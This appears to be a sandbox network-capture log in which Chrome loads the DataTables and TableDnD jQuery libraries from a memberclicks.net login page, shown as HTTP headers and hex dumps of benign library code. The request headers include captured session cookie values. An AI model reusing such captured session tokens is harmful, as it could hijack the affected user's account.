2024-04-23 14:54:00 UTC	723	OUT	GET /includes/js/jquery.dataTables.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 212783 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "33f2f-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb36c5953fc-ATL
2024-04-23 14:54:00 UTC	838	IN	Data Raw: 2f 2a 0a 20 2a 20 46 69 6c 65 3a 20 20 20 20 20 20 20 20 6a 71 75 65 72 79 2e 64 61 74 61 54 61 62 6c 65 73 2e 6a 73 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 20 20 20 20 31 2e 37 2e 36 0a 20 2a 20 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 50 61 67 69 6e 61 74 65 2c 20 73 65 61 72 63 68 20 61 6e 64 20 73 6f 72 74 20 48 54 4d 4c 20 74 61 62 6c 65 73 0a 20 2a 20 41 75 74 68 6f 72 3a 20 20 20 20 20 20 41 6c 6c 61 6e 20 4a 61 72 64 69 6e 65 20 28 77 77 77 2e 73 70 72 79 6d 65 64 69 61 2e 63 6f 2e 75 6b 29 0a 20 2a 20 43 72 65 61 74 65 64 3a 20 20 20 20 20 32 38 2f 33 2f 32 30 30 38 0a 20 2a 20 4c 61 6e 67 75 61 67 65 3a 20 20 20 20 4a 61 76 61 73 63 72 69 70 74 0a 20 2a 20 4c 69 63 65 6e 73 65 3a 20 20 20 20 20 47 50 4c 20 76 32 20 6f 72 20 42 53 44 20 33 20 70 6f Data Ascii: /* * File: jquery.dataTables.js * Version: 1.7.6 * Description: Paginate, search and sort HTML tables * Author: Allan Jardine (www.sprymedia.co.uk) * Created: 28/3/2008 * Language: Javascript * License: GPL v2 or BSD 3 po
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 65 6e 20 63 6f 6e 73 69 64 65 72 69 6e 67 20 6a 73 4c 69 6e 74 2c 20 77 65 20 6e 65 65 64 20 74 6f 20 61 6c 6c 6f 77 20 65 76 61 6c 28 29 20 61 73 20 69 74 20 69 74 20 69 73 20 75 73 65 64 20 66 6f 72 20 72 65 61 64 69 6e 67 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 0a 20 2a 20 62 75 69 6c 64 69 6e 67 20 74 68 65 20 64 79 6e 61 6d 69 63 20 6d 75 6c 74 69 2d 63 6f 6c 75 6d 6e 20 73 6f 72 74 20 66 75 6e 63 74 69 6f 6e 73 2e 0a 20 2a 2f 0a 2f 2a 6a 73 6c 69 6e 74 20 65 76 69 6c 3a 20 74 72 75 65 2c 20 75 6e 64 65 66 3a 20 74 72 75 65 2c 20 62 72 6f 77 73 65 72 3a 20 74 72 75 65 20 2a 2f 0a 2f 2a 67 6c 6f 62 61 6c 73 20 24 2c 20 6a 51 75 65 72 79 2c 5f 66 6e 45 78 74 65 72 6e 41 70 69 46 75 6e 63 2c 5f 66 6e 49 6e 69 74 61 6c 69 73 65 2c 5f 66 6e 49 6e 69 74 43 Data Ascii: en considering jsLint, we need to allow eval() as it it is used for reading cookies and * building the dynamic multi-column sort functions. //jslint evil: true, undef: true, browser: true //globals $, jQuery,_fnExternApiFunc,_fnInitalise,_fnInitC
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 0a 09 20 2a 20 53 65 63 74 69 6f 6e 20 2d 20 44 61 74 61 54 61 62 6c 65 73 20 76 61 72 69 61 62 6c 65 73 0a 09 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 20 2a 2f 0a 09 0a 09 2f 2a 0a 09 20 2a 20 56 61 72 69 61 62 6c 65 3a 20 64 61 74 61 54 61 62 6c 65 53 65 74 74 69 6e 67 Data Ascii: * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Section - DataTables variables * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * // * Variable: dataTableSetting
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 20 6a 51 75 65 72 79 2e 66 6e 2e 64 61 74 61 54 61 62 6c 65 45 78 74 0a 09 20 2a 20 4e 6f 74 65 73 3a 20 20 20 20 41 6c 6c 6f 77 65 64 20 66 6f 72 6d 61 74 20 69 73 20 61 2e 62 2e 63 2e 64 2e 65 20 77 68 65 72 65 3a 0a 09 20 2a 20 20 20 61 3a 69 6e 74 2c 20 62 3a 69 6e 74 2c 20 63 3a 69 6e 74 2c 20 64 3a 73 74 72 69 6e 67 28 64 65 76 7c 62 65 74 61 29 2c 20 65 3a 69 6e 74 2e 20 64 20 61 6e 64 20 65 20 61 72 65 20 6f 70 74 69 6f 6e 61 6c 0a 09 20 2a 2f 0a 09 5f 6f 45 78 74 2e 73 56 65 72 73 69 6f 6e 20 3d 20 22 31 2e 37 2e 36 22 3b 0a 09 0a 09 2f 2a 0a 09 20 2a 20 56 61 72 69 61 62 6c 65 3a 20 73 45 72 72 4d 6f 64 65 0a 09 20 2a 20 50 75 72 70 6f 73 65 3a 20 20 48 6f 77 20 73 68 6f 75 6c 64 20 44 61 74 61 54 61 62 6c 65 73 20 72 65 70 6f 72 74 20 61 6e Data Ascii: jQuery.fn.dataTableExt * Notes: Allowed format is a.b.c.d.e where: * a:int, b:int, c:int, d:string(dev\|beta), e:int. d and e are optional /_oExt.sVersion = "1.7.6";/ * Variable: sErrMode * Purpose: How should DataTables report an
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 45 78 74 0a 09 20 2a 20 4e 6f 74 65 73 3a 20 20 20 20 54 68 69 73 20 69 73 20 61 6e 20 6f 62 6a 65 63 74 20 28 74 68 65 20 6e 61 6d 65 20 73 68 6f 75 6c 64 20 6d 61 74 63 68 20 74 68 65 20 74 79 70 65 29 20 66 6f 72 20 63 75 73 74 6f 6d 20 66 69 6c 74 65 72 69 6e 67 20 66 75 6e 63 74 69 6f 6e 2c 0a 09 20 2a 20 20 20 77 68 69 63 68 20 63 61 6e 20 62 65 20 75 73 65 64 20 66 6f 72 20 6c 69 76 65 20 44 4f 4d 20 63 68 65 63 6b 69 6e 67 20 6f 72 20 66 6f 72 6d 61 74 74 65 64 20 74 65 78 74 20 66 69 6c 74 65 72 69 6e 67 0a 09 20 2a 2f 0a 09 5f 6f 45 78 74 2e 6f 66 6e 53 65 61 72 63 68 20 3d 20 7b 20 7d 3b 0a 09 0a 09 2f 2a 0a 09 20 2a 20 56 61 72 69 61 62 6c 65 3a 20 61 66 6e 53 6f 72 74 44 61 74 61 0a 09 20 2a 20 50 75 72 70 6f 73 65 3a 20 20 43 6f 6e 74 61 69 Data Ascii: Ext * Notes: This is an object (the name should match the type) for custom filtering function, * which can be used for live DOM checking or formatted text filtering /_oExt.ofnSearch = { };/ * Variable: afnSortData * Purpose: Contai
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 74 22 2c 0a 09 09 22 73 50 61 67 65 50 72 65 76 69 6f 75 73 22 3a 20 22 70 72 65 76 69 6f 75 73 22 2c 0a 09 09 22 73 50 61 67 65 4e 65 78 74 22 3a 20 22 6e 65 78 74 22 2c 0a 09 09 22 73 50 61 67 65 4c 61 73 74 22 3a 20 22 6c 61 73 74 22 2c 0a 09 09 0a 09 09 2f 2a 20 53 74 72 69 70 70 69 6e 67 20 63 6c 61 73 73 65 73 20 2a 2f 0a 09 09 22 73 53 74 72 69 70 4f 64 64 22 3a 20 22 6f 64 64 22 2c 0a 09 09 22 73 53 74 72 69 70 45 76 65 6e 22 3a 20 22 65 76 65 6e 22 2c 0a 09 09 0a 09 09 2f 2a 20 45 6d 70 74 79 20 72 6f 77 20 2a 2f 0a 09 09 22 73 52 6f 77 45 6d 70 74 79 22 3a 20 22 64 61 74 61 54 61 62 6c 65 73 5f 65 6d 70 74 79 22 2c 0a 09 09 0a 09 09 2f 2a 20 46 65 61 74 75 72 65 73 20 2a 2f 0a 09 09 22 73 57 72 61 70 70 65 72 22 3a 20 22 64 61 74 61 54 61 62 6c Data Ascii: t","sPagePrevious": "previous","sPageNext": "next","sPageLast": "last",/* Stripping classes /"sStripOdd": "odd","sStripEven": "even",/ Empty row /"sRowEmpty": "dataTables_empty",/ Features */"sWrapper": "dataTabl
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6f 72 20 74 68 65 20 76 61 72 69 6f 75 73 20 63 6c 61 73 73 65 73 20 74 68 61 74 20 44 61 74 61 54 61 62 6c 65 73 20 75 73 65 73 20 2d 20 6a 51 75 65 72 79 20 55 49 20 73 75 69 74 61 62 6c 65 0a 09 20 2a 20 53 63 6f 70 65 3a 20 20 20 20 6a 51 75 65 72 79 2e 66 6e 2e 64 61 74 61 54 61 62 6c 65 45 78 74 0a 09 20 2a 2f 0a 09 5f 6f 45 78 74 2e 6f 4a 55 49 43 6c 61 73 73 65 73 20 3d 20 7b 0a 09 09 2f 2a 20 54 77 6f 20 62 75 74 74 6f 6e 73 20 62 75 74 74 6f 6e 73 20 2a 2f 0a 09 09 22 73 50 61 67 65 50 72 65 76 45 6e 61 62 6c 65 64 22 3a 20 22 66 67 2d 62 75 74 74 6f 6e 20 75 69 2d 62 75 74 74 6f 6e 20 75 69 2d 73 74 61 74 65 2d 64 65 66 61 75 6c 74 20 75 69 2d 63 6f 72 6e 65 72 2d 6c 65 66 74 22 2c 0a 09 09 22 73 50 61 67 65 50 72 65 76 44 69 73 61 62 6c 65 64 Data Ascii: or the various classes that DataTables uses - jQuery UI suitable * Scope: jQuery.fn.dataTableExt /_oExt.oJUIClasses = {/ Two buttons buttons */"sPagePrevEnabled": "fg-button ui-button ui-state-default ui-corner-left","sPagePrevDisabled
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 2d 62 75 74 74 6f 6e 73 65 74 2d 6d 75 6c 74 69 20 70 61 67 69 6e 67 5f 22 2c 20 2f 2a 20 4e 6f 74 65 20 74 68 61 74 20 74 68 65 20 74 79 70 65 20 69 73 20 70 6f 73 74 66 69 78 65 64 20 2a 2f 0a 09 09 22 73 4c 65 6e 67 74 68 22 3a 20 22 64 61 74 61 54 61 62 6c 65 73 5f 6c 65 6e 67 74 68 22 2c 0a 09 09 22 73 50 72 6f 63 65 73 73 69 6e 67 22 3a 20 22 64 61 74 61 54 61 62 6c 65 73 5f 70 72 6f 63 65 73 73 69 6e 67 22 2c 0a 09 09 0a 09 09 2f 2a 20 53 6f 72 74 69 6e 67 20 2a 2f 0a 09 09 22 73 53 6f 72 74 41 73 63 22 3a 20 22 75 69 2d 73 74 61 74 65 2d 64 65 66 61 75 6c 74 22 2c 0a 09 09 22 73 53 6f 72 74 44 65 73 63 22 3a 20 22 75 69 2d 73 74 61 74 65 2d 64 65 66 61 75 6c 74 22 2c 0a 09 09 22 73 53 6f 72 74 61 62 6c 65 22 3a 20 22 75 69 2d 73 74 61 74 65 2d 64 Data Ascii: -buttonset-multi paging_", /* Note that the type is postfixed /"sLength": "dataTables_length","sProcessing": "dataTables_processing",/ Sorting */"sSortAsc": "ui-state-default","sSortDesc": "ui-state-default","sSortable": "ui-state-d
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 69 6f 6e 20 3d 20 7b 0a 09 09 2f 2a 0a 09 09 20 2a 20 56 61 72 69 61 62 6c 65 3a 20 74 77 6f 5f 62 75 74 74 6f 6e 0a 09 09 20 2a 20 50 75 72 70 6f 73 65 3a 20 20 53 74 61 6e 64 61 72 64 20 74 77 6f 20 62 75 74 74 6f 6e 20 28 66 6f 72 77 61 72 64 2f 62 61 63 6b 29 20 70 61 67 69 6e 61 74 69 6f 6e 0a 09 20 09 20 2a 20 53 63 6f 70 65 3a 20 20 20 20 6a 51 75 65 72 79 2e 66 6e 2e 64 61 74 61 54 61 62 6c 65 45 78 74 2e 6f 50 61 67 69 6e 61 74 69 6f 6e 0a 09 09 20 2a 2f 0a 09 09 22 74 77 6f 5f 62 75 74 74 6f 6e 22 3a 20 7b 0a 09 09 09 2f 2a 0a 09 09 09 20 2a 20 46 75 6e 63 74 69 6f 6e 3a 20 6f 50 61 67 69 6e 61 74 69 6f 6e 2e 74 77 6f 5f 62 75 74 74 6f 6e 2e 66 6e 49 6e 69 74 0a 09 09 09 20 2a 20 50 75 72 70 6f 73 65 3a 20 20 49 6e 69 74 61 6c 69 73 65 20 64 6f Data Ascii: ion = {/* * Variable: two_button * Purpose: Standard two button (forward/back) pagination * Scope: jQuery.fn.dataTableExt.oPagination /"two_button": {/ * Function: oPagination.two_button.fnInit * Purpose: Initalise do
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 6e 50 72 65 76 69 6f 75 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 6e 50 72 65 76 69 6f 75 73 49 6e 6e 65 72 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 09 0a 09 09 09 09 6e 50 72 65 76 69 6f 75 73 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 6f 53 65 74 74 69 6e 67 73 2e 6f 43 6c 61 73 73 65 73 2e 73 50 61 67 65 50 72 65 76 44 69 73 61 62 6c 65 64 3b 0a 09 09 09 09 6e 4e 65 78 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 6f 53 65 74 74 69 6e 67 73 2e 6f 43 6c 61 73 73 65 73 2e 73 50 61 67 65 4e 65 78 74 44 69 73 61 62 6c 65 64 3b 0a 09 09 09 09 0a 09 09 09 09 6e 50 72 65 76 69 6f 75 73 2e 74 69 74 6c 65 20 3d 20 6f 53 65 74 74 69 6e 67 73 2e 6f 4c 61 6e 67 75 61 67 65 2e 6f 50 61 67 69 6e 61 74 65 2e 73 50 72 65 76 69 6f 75 73 3b 0a 09 09 09 09 6e Data Ascii: nPrevious.appendChild( nPreviousInner );}nPrevious.className = oSettings.oClasses.sPagePrevDisabled;nNext.className = oSettings.oClasses.sPageNextDisabled;nPrevious.title = oSettings.oLanguage.oPaginate.sPrevious;n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.6	49905	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:00 UTC	725	OUT	GET /includes/js/jquery.tablednd-0.5.js HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:00 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:00 GMT Content-Type: application/javascript Content-Length: 16626 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "40f2-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:54:00 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafb3386978c8-ATL
2024-04-23 14:54:00 UTC	840	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 54 61 62 6c 65 44 6e 44 20 70 6c 75 67 2d 69 6e 20 66 6f 72 20 4a 51 75 65 72 79 2c 20 61 6c 6c 6f 77 73 20 79 6f 75 20 74 6f 20 64 72 61 67 20 61 6e 64 20 64 72 6f 70 20 74 61 62 6c 65 20 72 6f 77 73 0a 20 2a 20 59 6f 75 20 63 61 6e 20 73 65 74 20 75 70 20 76 61 72 69 6f 75 73 20 6f 70 74 69 6f 6e 73 20 74 6f 20 63 6f 6e 74 72 6f 6c 20 68 6f 77 20 74 68 65 20 73 79 73 74 65 6d 20 77 69 6c 6c 20 77 6f 72 6b 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 44 65 6e 69 73 20 48 6f 77 6c 65 74 74 20 3c 64 65 6e 69 73 68 40 69 73 6f 63 72 61 2e 63 6f 6d 3e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 6c 69 6b 65 20 6a 51 75 65 72 79 2c 20 73 65 65 20 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 4c 69 63 65 6e 73 65 Data Ascii: /** * TableDnD plug-in for JQuery, allows you to drag and drop table rows * You can set up various options to control how the system will work * Copyright (c) Denis Howlett <denish@isocra.com> * Licensed like jQuery, see http://docs.jquery.com/License
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 61 63 65 73 20 74 68 65 20 6f 72 69 67 69 6e 61 6c 20 73 74 79 6c 65 2c 20 73 6f 20 61 67 61 69 6e 20 63 6f 6e 73 69 64 65 72 20 75 73 69 6e 67 20 6f 6e 44 72 61 67 43 6c 61 73 73 20 77 68 69 63 68 0a 20 2a 20 20 20 20 20 69 73 20 73 69 6d 70 6c 79 20 61 64 64 65 64 20 61 6e 64 20 74 68 65 6e 20 72 65 6d 6f 76 65 64 20 6f 6e 20 64 72 6f 70 2e 0a 20 2a 20 6f 6e 44 72 61 67 43 6c 61 73 73 0a 20 2a 20 20 20 20 20 54 68 69 73 20 63 6c 61 73 73 20 69 73 20 61 64 64 65 64 20 66 6f 72 20 74 68 65 20 64 75 72 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 64 72 61 67 20 61 6e 64 20 74 68 65 6e 20 72 65 6d 6f 76 65 64 20 77 68 65 6e 20 74 68 65 20 72 6f 77 20 69 73 20 64 72 6f 70 70 65 64 2e 20 49 74 20 69 73 20 6d 6f 72 65 0a 20 2a 20 20 20 20 20 66 6c 65 78 69 62 6c 65 Data Ascii: aces the original style, so again consider using onDragClass which * is simply added and then removed on drop. * onDragClass * This class is added for the duration of the drag and then removed when the row is dropped. It is more * flexible
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6d 61 74 69 63 61 6c 6c 79 20 73 63 72 6f 6c 6c 20 75 70 20 6f 72 20 64 6f 77 6e 20 61 73 20 61 70 70 72 6f 70 72 69 61 74 65 20 28 74 65 73 74 65 64 20 69 6e 20 49 45 36 2c 20 49 45 37 2c 20 53 61 66 61 72 69 2c 20 46 46 32 2c 0a 20 2a 20 20 20 20 20 46 46 33 20 62 65 74 61 0a 20 2a 20 64 72 61 67 48 61 6e 64 6c 65 0a 20 2a 20 20 20 20 20 54 68 69 73 20 69 73 20 74 68 65 20 6e 61 6d 65 20 6f 66 20 61 20 63 6c 61 73 73 20 74 68 61 74 20 79 6f 75 20 61 73 73 69 67 6e 20 74 6f 20 6f 6e 65 20 6f 72 20 6d 6f 72 65 20 63 65 6c 6c 73 20 69 6e 20 65 61 63 68 20 72 6f 77 20 74 68 61 74 20 69 73 20 64 72 61 67 67 61 62 6c 65 2e 20 49 66 20 79 6f 75 0a 20 2a 20 20 20 20 20 73 70 65 63 69 66 79 20 74 68 69 73 20 63 6c 61 73 73 2c 20 74 68 65 6e 20 79 6f 75 20 61 72 Data Ascii: matically scroll up or down as appropriate (tested in IE6, IE7, Safari, FF2, * FF3 beta * dragHandle * This is the name of a class that you assign to one or more cells in each row that is draggable. If you * specify this class, then you ar
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 61 73 20 61 62 6f 76 65 2c 20 62 75 74 20 66 6f 72 20 65 61 63 68 20 6f 66 20 74 68 65 20 6d 61 74 63 68 69 6e 67 20 74 61 62 6c 65 73 2d 2d 73 6f 20 69 74 20 63 61 6e 20 62 65 0a 20 2a 20 63 61 6c 6c 65 64 20 66 72 6f 6d 20 61 6e 79 77 68 65 72 65 20 61 6e 64 20 69 73 6e 27 74 20 64 65 70 65 6e 64 65 6e 74 20 6f 6e 20 74 68 65 20 63 75 72 72 65 6e 74 54 61 62 6c 65 20 62 65 69 6e 67 20 73 65 74 20 75 70 20 63 6f 72 72 65 63 74 6c 79 20 62 65 66 6f 72 65 20 63 61 6c 6c 69 6e 67 0a 20 2a 0a 20 2a 20 4b 6e 6f 77 6e 20 70 72 6f 62 6c 65 6d 73 3a 0a 20 2a 20 2d 20 41 75 74 6f 2d 73 63 6f 6c 6c 20 68 61 73 20 73 6f 6d 65 20 70 72 6f 62 6c 65 6d 73 20 77 69 74 68 20 49 45 37 20 20 28 69 74 20 73 63 72 6f 6c 6c 73 20 65 76 65 6e 20 77 68 65 6e 20 69 74 20 73 Data Ascii: as above, but for each of the matching tables--so it can be * called from anywhere and isn't dependent on the currentTable being set up correctly before calling * * Known problems: * - Auto-scoll has some problems with IE7 (it scrolls even when it s
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 65 20 63 75 72 72 65 6e 74 20 6d 6f 75 73 65 20 6f 66 66 73 65 74 20 2a 2f 0a 20 20 20 20 6d 6f 75 73 65 4f 66 66 73 65 74 3a 20 6e 75 6c 6c 2c 0a 20 20 20 20 2f 2a 2a 20 52 65 6d 65 6d 62 65 72 20 74 68 65 20 6f 6c 64 20 76 61 6c 75 65 20 6f 66 20 59 20 73 6f 20 74 68 61 74 20 77 65 20 64 6f 6e 27 74 20 64 6f 20 74 6f 6f 20 6d 75 63 68 20 70 72 6f 63 65 73 73 69 6e 67 20 2a 2f 0a 20 20 20 20 6f 6c 64 59 3a 20 30 2c 0a 0a 20 20 20 20 2f 2a 2a 20 41 63 74 75 61 6c 6c 79 20 62 75 69 6c 64 20 74 68 65 20 73 74 72 75 63 74 75 72 65 20 2a 2f 0a 20 20 20 20 62 75 69 6c 64 3a 20 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 20 7b 0a 20 20 20 20 20 20 20 20 2f 2f 20 53 65 74 20 75 70 20 74 68 65 20 64 65 66 61 75 6c 74 73 20 69 66 20 61 6e 79 0a 0a 20 20 20 Data Ascii: e current mouse offset / mouseOffset: null, /* Remember the old value of Y so that we don't do too much processing / oldY: 0, /* Actually build the structure */ build: function(options) { // Set up the defaults if any
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 6e 44 2e 6d 6f 75 73 65 75 70 29 3b 0a 0a 20 20 20 20 20 20 20 20 2f 2f 20 44 6f 6e 27 74 20 62 72 65 61 6b 20 74 68 65 20 63 68 61 69 6e 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 20 20 20 20 7d 2c 0a 0a 20 20 20 20 2f 2a 2a 20 54 68 69 73 20 66 75 6e 63 74 69 6f 6e 20 6d 61 6b 65 73 20 61 6c 6c 20 74 68 65 20 72 6f 77 73 20 6f 6e 20 74 68 65 20 74 61 62 6c 65 20 64 72 61 67 67 61 62 6c 65 20 61 70 61 72 74 20 66 72 6f 6d 20 74 68 6f 73 65 20 6d 61 72 6b 65 64 20 61 73 20 22 4e 6f 44 72 61 67 22 20 2a 2f 0a 20 20 20 20 6d 61 6b 65 44 72 61 67 67 61 62 6c 65 3a 20 66 75 6e 63 74 69 6f 6e 28 74 61 62 6c 65 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 6f 6e 66 69 67 20 3d 20 74 61 62 6c 65 2e 74 61 62 6c 65 44 6e 44 43 6f 6e 66 Data Ascii: nD.mouseup); // Don't break the chain return this; }, /** This function makes all the rows on the table draggable apart from those marked as "NoDrag" */ makeDraggable: function(table) { var config = table.tableDnDConf
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 65 76 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 20 3d 3d 20 22 54 44 22 29 20 7b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 64 72 61 67 4f 62 6a 65 63 74 20 3d 20 74 68 69 73 3b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 63 75 72 72 65 6e 74 54 61 62 6c 65 20 3d 20 74 61 62 6c 65 3b 0a 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 6d 6f 75 73 65 4f 66 66 73 65 74 20 3d 20 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 67 65 74 4d 6f Data Ascii: { if (ev.target.tagName == "TD") { jQuery.tableDnD.dragObject = this; jQuery.tableDnD.currentTable = table; jQuery.tableDnD.mouseOffset = jQuery.tableDnD.getMo
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 20 61 6e 64 20 74 68 65 20 6d 6f 75 73 65 20 70 6f 73 69 74 69 6f 6e 20 2a 2f 0a 20 20 20 20 67 65 74 4d 6f 75 73 65 4f 66 66 73 65 74 3a 20 66 75 6e 63 74 69 6f 6e 28 74 61 72 67 65 74 2c 20 65 76 29 20 7b 0a 20 20 20 20 20 20 20 20 65 76 20 3d 20 65 76 20 7c 7c 20 77 69 6e 64 6f 77 2e 65 76 65 6e 74 3b 0a 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 6f 63 50 6f 73 20 20 20 20 3d 20 74 68 69 73 2e 67 65 74 50 6f 73 69 74 69 6f 6e 28 74 61 72 67 65 74 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6d 6f 75 73 65 50 6f 73 20 20 3d 20 74 68 69 73 2e 6d 6f 75 73 65 43 6f 6f 72 64 73 28 65 76 29 3b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 7b 78 3a 6d 6f 75 73 65 50 6f 73 2e 78 20 2d 20 64 6f 63 50 6f 73 2e 78 2c 20 79 3a 6d 6f 75 73 65 50 6f 73 2e 79 20 2d Data Ascii: and the mouse position */ getMouseOffset: function(target, ev) { ev = ev \|\| window.event; var docPos = this.getPosition(target); var mousePos = this.mouseCoords(ev); return {x:mousePos.x - docPos.x, y:mousePos.y -
2024-04-23 14:54:00 UTC	1369	IN	Data Raw: 2c 0a 0a 20 20 20 20 6d 6f 75 73 65 6d 6f 76 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 64 72 61 67 4f 62 6a 65 63 74 20 3d 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 72 61 67 4f 62 6a 20 3d 20 6a 51 75 65 72 79 28 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 64 72 61 67 4f 62 6a 65 63 74 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 6f 6e 66 69 67 20 3d 20 6a 51 75 65 72 79 2e 74 61 62 6c 65 44 6e 44 2e 63 75 72 72 65 6e 74 54 61 62 6c 65 2e 74 61 62 6c 65 44 6e 44 43 6f 6e 66 69 67 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6d 6f 75 73 65 Data Ascii: , mousemove: function(ev) { if (jQuery.tableDnD.dragObject == null) { return; } var dragObj = 